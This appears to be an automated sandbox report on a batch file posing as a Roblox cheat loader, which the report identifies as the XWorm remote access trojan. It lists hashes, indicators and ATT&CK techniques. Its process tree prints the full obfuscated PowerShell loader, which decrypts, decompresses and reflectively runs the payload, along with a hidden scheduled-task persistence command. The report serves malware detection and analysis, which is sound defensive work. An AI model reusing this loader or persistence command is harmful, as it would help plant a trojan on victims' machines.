xworm | 45b782f056d13bff3c3b4ac821455ee50b7fe7db2a273ade8a6bfa4d14ac3656

Analysis

max time kernel
150s
max time network
150s
platform
windows10-2004_x64
resource
win10v2004-20241007-en
resource tags

arch:x64arch:x86image:win10v2004-20241007-enlocale:en-usos:windows10-2004-x64system
submitted
09/10/2024, 06:26

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General

Target

robloxcheatloader.bat
Size

297KB
MD5

615114ba6cad5ad7fe0e28339fbc5e51
SHA1

931ac91d80b1d1149aa2603d9583e9282d0f0743
SHA256

45b782f056d13bff3c3b4ac821455ee50b7fe7db2a273ade8a6bfa4d14ac3656
SHA512

305c3df8806501a72d0db6d5485f0b85cbffb994cc1fb6c57f2587af569d6a364efbf7ae3cf9f59f8dc923ca24a83a3746f7e624c6205a9b623b8db7267095fb
SSDEEP

6144:3HSmrJmgKx+Yv/dDTRFK74kVfSmVWYD4lzegex3aZ/SkR:350P6zqmB4lygeEYs

Score

10^/10

xworm execution rat trojan

Malware Config

Extracted

Family

xworm

Attributes

Install_directory
%AppData%
install_file
USB.exe

Signatures

Detect Xworm Payload 1 IoCs

resource	yara_rule
behavioral2/memory/1852-50-0x000001F82E790000-0x000001F82E7AA000-memory.dmp	family_xworm

Xworm
Xworm is a remote access trojan written in C#.
trojan rat xworm

Blocklisted process makes network request 1 IoCs

flow	pid	Process
20	1852	powershell.exe

Command and Scripting Interpreter: PowerShell 1 TTPs 3 IoCs

Using powershell.exe command.

execution

PowerShell

T1059.001

pid	Process
2864	powershell.exe
1852	powershell.exe
1932	powershell.exe

Checks computer location settings 2 TTPs 1 IoCs

Looks up country code configured in the registry, likely geofence.

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key value queried	\REGISTRY\USER\S-1-5-21-2045521122-590294423-3465680274-1000\Control Panel\International\Geo\Nation	WScript.exe

Looks up external IP address via web service 1 IoCs

Uses a legitimate IP lookup service to find the infected system's external IP.

flow	ioc
19	ip-api.com

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

Modifies registry class 1 IoCs

description	ioc	Process
Key created	\REGISTRY\USER\S-1-5-21-2045521122-590294423-3465680274-1000_Classes\Local Settings	powershell.exe

Suspicious behavior: EnumeratesProcesses 6 IoCs

pid	Process
2864	powershell.exe
2864	powershell.exe
1932	powershell.exe
1932	powershell.exe
1852	powershell.exe
1852	powershell.exe

Suspicious use of AdjustPrivilegeToken 64 IoCs

description	pid	Process
Token: SeDebugPrivilege	2864	powershell.exe
Token: SeDebugPrivilege	1932	powershell.exe
Token: SeIncreaseQuotaPrivilege	1932	powershell.exe
Token: SeSecurityPrivilege	1932	powershell.exe
Token: SeTakeOwnershipPrivilege	1932	powershell.exe
Token: SeLoadDriverPrivilege	1932	powershell.exe
Token: SeSystemProfilePrivilege	1932	powershell.exe
Token: SeSystemtimePrivilege	1932	powershell.exe
Token: SeProfSingleProcessPrivilege	1932	powershell.exe
Token: SeIncBasePriorityPrivilege	1932	powershell.exe
Token: SeCreatePagefilePrivilege	1932	powershell.exe
Token: SeBackupPrivilege	1932	powershell.exe
Token: SeRestorePrivilege	1932	powershell.exe
Token: SeShutdownPrivilege	1932	powershell.exe
Token: SeDebugPrivilege	1932	powershell.exe
Token: SeSystemEnvironmentPrivilege	1932	powershell.exe
Token: SeRemoteShutdownPrivilege	1932	powershell.exe
Token: SeUndockPrivilege	1932	powershell.exe
Token: SeManageVolumePrivilege	1932	powershell.exe
Token: 33	1932	powershell.exe
Token: 34	1932	powershell.exe
Token: 35	1932	powershell.exe
Token: 36	1932	powershell.exe
Token: SeIncreaseQuotaPrivilege	1932	powershell.exe
Token: SeSecurityPrivilege	1932	powershell.exe
Token: SeTakeOwnershipPrivilege	1932	powershell.exe
Token: SeLoadDriverPrivilege	1932	powershell.exe
Token: SeSystemProfilePrivilege	1932	powershell.exe
Token: SeSystemtimePrivilege	1932	powershell.exe
Token: SeProfSingleProcessPrivilege	1932	powershell.exe
Token: SeIncBasePriorityPrivilege	1932	powershell.exe
Token: SeCreatePagefilePrivilege	1932	powershell.exe
Token: SeBackupPrivilege	1932	powershell.exe
Token: SeRestorePrivilege	1932	powershell.exe
Token: SeShutdownPrivilege	1932	powershell.exe
Token: SeDebugPrivilege	1932	powershell.exe
Token: SeSystemEnvironmentPrivilege	1932	powershell.exe
Token: SeRemoteShutdownPrivilege	1932	powershell.exe
Token: SeUndockPrivilege	1932	powershell.exe
Token: SeManageVolumePrivilege	1932	powershell.exe
Token: 33	1932	powershell.exe
Token: 34	1932	powershell.exe
Token: 35	1932	powershell.exe
Token: 36	1932	powershell.exe
Token: SeIncreaseQuotaPrivilege	1932	powershell.exe
Token: SeSecurityPrivilege	1932	powershell.exe
Token: SeTakeOwnershipPrivilege	1932	powershell.exe
Token: SeLoadDriverPrivilege	1932	powershell.exe
Token: SeSystemProfilePrivilege	1932	powershell.exe
Token: SeSystemtimePrivilege	1932	powershell.exe
Token: SeProfSingleProcessPrivilege	1932	powershell.exe
Token: SeIncBasePriorityPrivilege	1932	powershell.exe
Token: SeCreatePagefilePrivilege	1932	powershell.exe
Token: SeBackupPrivilege	1932	powershell.exe
Token: SeRestorePrivilege	1932	powershell.exe
Token: SeShutdownPrivilege	1932	powershell.exe
Token: SeDebugPrivilege	1932	powershell.exe
Token: SeSystemEnvironmentPrivilege	1932	powershell.exe
Token: SeRemoteShutdownPrivilege	1932	powershell.exe
Token: SeUndockPrivilege	1932	powershell.exe
Token: SeManageVolumePrivilege	1932	powershell.exe
Token: 33	1932	powershell.exe
Token: 34	1932	powershell.exe
Token: 35	1932	powershell.exe

Suspicious use of WriteProcessMemory 10 IoCs

description	pid	Process	procid_target
PID 4196 wrote to memory of 2864	4196	cmd.exe	87
PID 4196 wrote to memory of 2864	4196	cmd.exe	87
PID 2864 wrote to memory of 1932	2864	powershell.exe	88
PID 2864 wrote to memory of 1932	2864	powershell.exe	88
PID 2864 wrote to memory of 1124	2864	powershell.exe	91
PID 2864 wrote to memory of 1124	2864	powershell.exe	91
PID 1124 wrote to memory of 4836	1124	WScript.exe	92
PID 1124 wrote to memory of 4836	1124	WScript.exe	92
PID 4836 wrote to memory of 1852	4836	cmd.exe	94
PID 4836 wrote to memory of 1852	4836	cmd.exe	94

C:\Windows\system32\cmd.exe
C:\Windows\system32\cmd.exe /c "C:\Users\Admin\AppData\Local\Temp\robloxcheatloader.bat"
1⤵
- Suspicious use of WriteProcessMemory
PID:4196
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -noprofile -ep bypass -command function decrypt_function($param_var){ $aes_var=[System.Security.Cryptography.Aes]::Create(); $aes_var.Mode=[System.Security.Cryptography.CipherMode]::CBC; $aes_var.Padding=[System.Security.Cryptography.PaddingMode]::PKCS7; $aes_var.Key=[System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('i/seLlS9KmgvXypmg65Dauo9O+3ZRKIi4rg+GTJdl8k='); $aes_var.IV=[System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('3usiDEPfh4Azb438Ucvi6g=='); $decryptor_var=$aes_var.CreateDecryptor(); $return_var=$decryptor_var.TransformFinalBlock($param_var, 0, $param_var.Length); $decryptor_var.Dispose(); $aes_var.Dispose(); $return_var;}function decompress_function($param_var){ $vDYKd=New-Object System.IO.MemoryStream(,$param_var); $uQrNw=New-Object System.IO.MemoryStream; $qgnqB=New-Object System.IO.Compression.GZipStream($vDYKd, [IO.Compression.CompressionMode]::Decompress); $qgnqB.CopyTo($uQrNw); $qgnqB.Dispose(); $vDYKd.Dispose(); $uQrNw.Dispose(); $uQrNw.ToArray();}function execute_function($param_var,$param2_var){ $CTuPF=[System.Reflection.Assembly]::('daoL'[-1..-4] -join '')([byte[]]$param_var); $ZNetw=$CTuPF.EntryPoint; $ZNetw.Invoke($null, $param2_var);}$host.UI.RawUI.WindowTitle = 'C:\Users\Admin\AppData\Local\Temp\robloxcheatloader.bat';$fMBrf=[System.IO.File]::('txeTllAdaeR'[-1..-11] -join '')('C:\Users\Admin\AppData\Local\Temp\robloxcheatloader.bat').Split([Environment]::NewLine);foreach ($FSzzr in $fMBrf) { if ($FSzzr.StartsWith(':: ')) { $vDoXM=$FSzzr.Substring(3); break; }}$payloads_var=[string[]]$vDoXM.Split('\');$payload1_var=decompress_function (decrypt_function ([Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')($payloads_var[0])));$payload2_var=decompress_function (decrypt_function ([Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')($payloads_var[1])));execute_function $payload1_var $null;execute_function $payload2_var (,[string[]] (''));
  2⤵
  - Command and Scripting Interpreter: PowerShell
  - Modifies registry class
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  - Suspicious use of WriteProcessMemory
  PID:2864
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Register-ScheduledTask -TaskName 'RuntimeBroker_startup_944_str' -Trigger (New-ScheduledTaskTrigger -AtLogon) -Action (New-ScheduledTaskAction -Execute 'C:\Users\Admin\AppData\Roaming\startup_str_944.vbs') -Settings (New-ScheduledTaskSettingsSet -AllowStartIfOnBatteries -Hidden -ExecutionTimeLimit 0) -RunLevel Highest -Force
    3⤵
    - Command and Scripting Interpreter: PowerShell
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of AdjustPrivilegeToken
    PID:1932
- - C:\Windows\System32\WScript.exe
    "C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Roaming\startup_str_944.vbs"
    3⤵
    - Checks computer location settings
    - Suspicious use of WriteProcessMemory
    PID:1124
  - - C:\Windows\system32\cmd.exe
      C:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Roaming\startup_str_944.bat" "
      4⤵
      Suspicious use of WriteProcessMemory
      PID:4836
    - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -noprofile -ep bypass -command function decrypt_function($param_var){ $aes_var=[System.Security.Cryptography.Aes]::Create(); $aes_var.Mode=[System.Security.Cryptography.CipherMode]::CBC; $aes_var.Padding=[System.Security.Cryptography.PaddingMode]::PKCS7; $aes_var.Key=[System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('i/seLlS9KmgvXypmg65Dauo9O+3ZRKIi4rg+GTJdl8k='); $aes_var.IV=[System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('3usiDEPfh4Azb438Ucvi6g=='); $decryptor_var=$aes_var.CreateDecryptor(); $return_var=$decryptor_var.TransformFinalBlock($param_var, 0, $param_var.Length); $decryptor_var.Dispose(); $aes_var.Dispose(); $return_var;}function decompress_function($param_var){ $vDYKd=New-Object System.IO.MemoryStream(,$param_var); $uQrNw=New-Object System.IO.MemoryStream; $qgnqB=New-Object System.IO.Compression.GZipStream($vDYKd, [IO.Compression.CompressionMode]::Decompress); $qgnqB.CopyTo($uQrNw); $qgnqB.Dispose(); $vDYKd.Dispose(); $uQrNw.Dispose(); $uQrNw.ToArray();}function execute_function($param_var,$param2_var){ $CTuPF=[System.Reflection.Assembly]::('daoL'[-1..-4] -join '')([byte[]]$param_var); $ZNetw=$CTuPF.EntryPoint; $ZNetw.Invoke($null, $param2_var);}$host.UI.RawUI.WindowTitle = 'C:\Users\Admin\AppData\Roaming\startup_str_944.bat';$fMBrf=[System.IO.File]::('txeTllAdaeR'[-1..-11] -join '')('C:\Users\Admin\AppData\Roaming\startup_str_944.bat').Split([Environment]::NewLine);foreach ($FSzzr in $fMBrf) { if ($FSzzr.StartsWith(':: ')) { $vDoXM=$FSzzr.Substring(3); break; }}$payloads_var=[string[]]$vDoXM.Split('\');$payload1_var=decompress_function (decrypt_function ([Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')($payloads_var[0])));$payload2_var=decompress_function (decrypt_function ([Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')($payloads_var[1])));execute_function $payload1_var $null;execute_function $payload2_var (,[string[]] (''));
        5⤵
        Blocklisted process makes network request
        Command and Scripting Interpreter: PowerShell
        Suspicious behavior: EnumeratesProcesses
        
        PID:1852

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

T1059

PowerShell

T1059.001

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

Query Registry

T1012

System Information Discovery

T1082

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

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Downloads

C:\Users\Admin\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\powershell.exe.log

Filesize
3KB

MD5
661739d384d9dfd807a089721202900b

SHA1
5b2c5d6a7122b4ce849dc98e79a7713038feac55

SHA256
70c3ecbaa6df88e88df4efc70968502955e890a2248269641c4e2d4668ef61bf

SHA512
81b48ae5c4064c4d9597303d913e32d3954954ba1c8123731d503d1653a0d848856812d2ee6951efe06b1db2b91a50e5d54098f60c26f36bc8390203f4c8a2d8

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

Filesize
1KB

MD5
799c0f837deef55f23520f63bf743be7

SHA1
4b500cb9f80cda4b68e244d6c052c6884f373a20

SHA256
54bbe0809bde02a10f37c629130fd17f799151928d460c53db05e6bdb8547cee

SHA512
bf37913858c5c226d65fa1c085f36674db0f7260076abe54adce0b855c540d594a29a998072662635786ab293dc722f7d5a768a1c0e2db537201fe643c948049

Download Submit
C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_31at1bgy.avc.ps1

Filesize
60B

MD5
d17fe0a3f47be24a6453e9ef58c94641

SHA1
6ab83620379fc69f80c0242105ddffd7d98d5d9d

SHA256
96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7

SHA512
5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82

Download Submit
C:\Users\Admin\AppData\Roaming\startup_str_944.bat

Filesize
297KB

MD5
615114ba6cad5ad7fe0e28339fbc5e51

SHA1
931ac91d80b1d1149aa2603d9583e9282d0f0743

SHA256
45b782f056d13bff3c3b4ac821455ee50b7fe7db2a273ade8a6bfa4d14ac3656

SHA512
305c3df8806501a72d0db6d5485f0b85cbffb994cc1fb6c57f2587af569d6a364efbf7ae3cf9f59f8dc923ca24a83a3746f7e624c6205a9b623b8db7267095fb

Download Submit
C:\Users\Admin\AppData\Roaming\startup_str_944.vbs

Filesize
115B

MD5
0405997e809ac583403107ad77d6a871

SHA1
e81a935fda438e3b33fa83ceec4a575417e54a8f

SHA256
83f6294fe49ea3c0d1c69c7755170f893fed13f9fda9a589a36da16153757245

SHA512
83cd6d91b7b46c485cf0936369aac4b6c4f2066ed93064e290706309fde0ea95aa48d9b3999f11dac61cee10879c0a2e6a3d6419c0f243383a83da7b92b2f357

Download Submit
memory/1852-50-0x000001F82E790000-0x000001F82E7AA000-memory.dmp

Filesize
104KB

Download
memory/1932-26-0x00007FFB253C0000-0x00007FFB25E81000-memory.dmp

Filesize
10.8MB

Download
memory/1932-21-0x00007FFB253C0000-0x00007FFB25E81000-memory.dmp

Filesize
10.8MB

Download
memory/1932-27-0x00007FFB253C0000-0x00007FFB25E81000-memory.dmp

Filesize
10.8MB

Download
memory/1932-30-0x00007FFB253C0000-0x00007FFB25E81000-memory.dmp

Filesize
10.8MB

Download
memory/2864-0-0x00007FFB253C3000-0x00007FFB253C5000-memory.dmp

Filesize
8KB

Download
memory/2864-14-0x00000164FEC00000-0x00000164FEC3A000-memory.dmp

Filesize
232KB

Download
memory/2864-13-0x00000164FEBF0000-0x00000164FEBF8000-memory.dmp

Filesize
32KB

Download
memory/2864-12-0x00007FFB253C0000-0x00007FFB25E81000-memory.dmp

Filesize
10.8MB

Download
memory/2864-11-0x00007FFB253C0000-0x00007FFB25E81000-memory.dmp

Filesize
10.8MB

Download
memory/2864-49-0x00007FFB253C0000-0x00007FFB25E81000-memory.dmp

Filesize
10.8MB

Download
memory/2864-1-0x00000164FC8A0000-0x00000164FC8C2000-memory.dmp

Filesize
136KB

Download